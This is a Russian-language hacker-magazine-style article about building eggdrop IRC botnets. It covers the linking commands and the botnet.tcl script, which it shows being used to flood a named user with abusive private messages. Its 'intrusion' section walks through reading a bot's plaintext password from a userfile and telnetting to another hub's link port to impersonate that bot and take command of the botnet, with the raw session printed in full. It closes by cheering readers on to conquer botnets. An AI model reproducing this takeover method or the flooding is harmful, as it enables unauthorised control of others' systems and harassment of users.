Продолжая цикл статей про eggdrop и TCL, хотелось бы упомянуть про botnet. Что такое botnet? Ни для кого не секрет, что на эггдропе можно прописывать не только юзеров, но и других ботов, которые будут (или не будут) линковаться к главному и передавать ему файл с юзер-записями.

Так было задумано разработчиками ламабота. Если посмотреть с другой стороны, то связку ботов можно запрограммировать, чтобы они передавали не только юзерфайл, но и синхронно выполняли команды различного характера. Но обо все по порядку.

Свой личный BotNet

Что нам понадобится для создания своего ботнета? В примитивном случае можешь запустить несколько эггдропов с одной машины (если нет шеллов). Но в случае, когда админ отправит сервер в ребут весь ботнет уйдет в никуда.
Можно скачать скрипт, который поддерживает коннект eggdrop’а через psyBNC (ezbounce), я как-то писал об этом. Даже когда боты умрут, BNC будет висеть и эмулировать их наличие (если, конечно, баунсер запущен на другой машине).
Ну и третий, пожалуй, самый распространенный вариант. Рассадка ботов на разных серверах, а затем их линковка в одну ветку ботов. К тому же, не обязательно, что все боты будут лично твоими, ты можешь договориться о линковке с каким-нибудь ботоводом (они любят прибавление в свое семейство ламаботов ;)).

Я не буду учить тебя добывать шеллы и устанавливать на них eggdrop. Это было написано до меня во многих источниках. А о процессе создания ботнета расскажу.

Итак, заходим на патилайн к боту1, пусть его ник будет ircnetru, и на второй с ником virginia. Для начала пропишем бота virginia на ircnetru:

.+bot virginia *!*virgin@*.net.ru

Затем укажем адрес и порт, который прослушивается для других ботов:

.chaddr virginia 127.0.0.1:3333

В моем примере все боты находятся на одном сервере.

Осталось раздать флаги. Убедись, что в ботах присутствует модуль filetransfer, а затем сделай из первого бота, например, передатчика юзерфайла.

.chaddr virginia +gs

Флаг g также необходим для корректного обмена данными.

Посмотрим, все ли верно?

.match virginia
[14:03] #forb# match virginia
*** Matching ‘virginia’:
HANDLE PASS NOTES FLAGS LAST
Virginia yes 0 abfo 13:56 (linked )
#channel afmno 08 Nov
HOSTS: *!*virgin@*.net.ru
BOT FLAGS: gs
ADDRESS: 127.0.0.1
users: 3333, bots: 3333
— Found 1 match.

Одной проблемой меньше. Теперь добавь ircnetru в бот-лист первого бота. Действия будут аналогичными, лишь флаг +s заменяется на +p (приемник юзерфайла).

Все? Тогда сделай последний штрих, добавив какого-либо бота (например, ircnetru) главным, чтобы virginia коннектилась к нему при запуске. За это отвечает флаг +h (Hub Bot).

.chattr ircnetru +h

Все? Тогда линкуем двух ламаботов.

[13:56] #forb# link virginia
[13:56] Stats.mod: Transferred stats from virginia to virginia
[13:56] Linked to virginia

Просмотрим красивое дерево ботов командой bottree.

[15:56] #forb# bottree
Virginia
`—IRCNetRu
Average hops: 1.0, total bots: 2

Поздравляю! Ты только что создал свой ботнет. Возможности его
не безграничны — пока что боты могут только пересылать файлы.

Возможности

Изменить ситуацию может скрипт botnet.tcl (скачать ты его можешь по адресу
http://k-uralsk.net/forb/1/botnet.tar.gz), который позволяет командовать ботнетом. Представь, сказал ты .botnet msg nick fuck и сотни ботов зафлудили указанного чувака приватами ;).

Подгрузим этот скрипт каждому боту командой .tcl source /path/to/botnet.tcl (либо добавим соответствующую строчку в eggdrop.conf). После этого необходимо зарехешить каждого эггдропа и скрипт будет работать.

Живой пример. Командуем virginia:

.botnet say mudak fuck off
[16:19] #forb# botnet say mudak fuck off

И смотрим в консоль ircnetru:

[16:19] BotNet: Virginia told me to say fuck off to mudak

Как видишь, все работает и mudak был зафлужен приватами ;).

Кстати, msg не единственная команда botnet. Ботнетом можно прибить всю ветку бота, сделать rehash, mass ping, join и прочие интересные действия. RTFS, молодой человек!

Вторжение

Что мы имеем? Живой ботнет с подгруженным на нем botnet.tcl, но у нас нет доступа на него… То есть управлять им мы не можем.

Представим ситуацию. Ты знаешь, что существует прописанный, но мертвый бот C (пусть ник у него будет lamabot). Что интересно, в отличии от юзеров, пароли на ботов не шифруются. Поэтому, представим, что ты добыл пароль на lamabot, например посмотрел его в userfile:

lamabot — b
—PASS 123456
—BOTADDR 127.0.0.1:3334/3334

Попробуем представить себя ботом и слинковаться к ircnetru ;). Это можно сделать прицепившись на порт, который слушается для ботоконнектов. Обмен данными будет примерно следующим.

[root@bots user]# telnet 0 3333
Trying 0.0.0.0…
Connected to 0.
Escape character is ‘^]’.

IRCNetRu (Eggdrop v1.6.12 (C) 1997 Robey Pointer (C) 2002 Eggheads)

Please enter your nickname.
lamabot
passreq <3f53f0a9cc1@IRCNetRu>
123456
*hello!
version 1061200 32 eggdrop v1.6.12 <IRCNetRu>
*hello!
version 1061200 32 eggdrop v1.6.12 <IRCNetRu>
version 1061200 32 eggdrop v1.6.12 <IRCNetRu>
tb IRCNetRu
n virginia IRCNetRu -EDFQ
el
tb lamabot

Все! Мы в ботнете. Проверить это можно вызовом дерева ботов.

.bottree
[14:28] #forb# bottree
IRCNetRu
|—virginia
`—lamabot

Временами бот будет посылать тебе команду pi (ping), отвечай на нее командой po (pong), иначе ботяра скинет тебя по таймауту ;).

Что дальше? Смело командуй «botnet say mudak fuck» и все боты в дереве тебе потчинятся! Ведь ты же часть этого дерева… 

На этом прощаюсь. Хочешь большего? RTFS! В сорцах эггдропа полно комментариев, которые научат тебя ботовому языку, ведь в ботнете полно интересных команд.

Удачи в создании и завоевывании ботнетов!

Оставить мнение

Check Also

А ты знал? 10 фактов о Python

Python — язык программирования с достаточно низким порогом вхождения, поэтому его часто вы…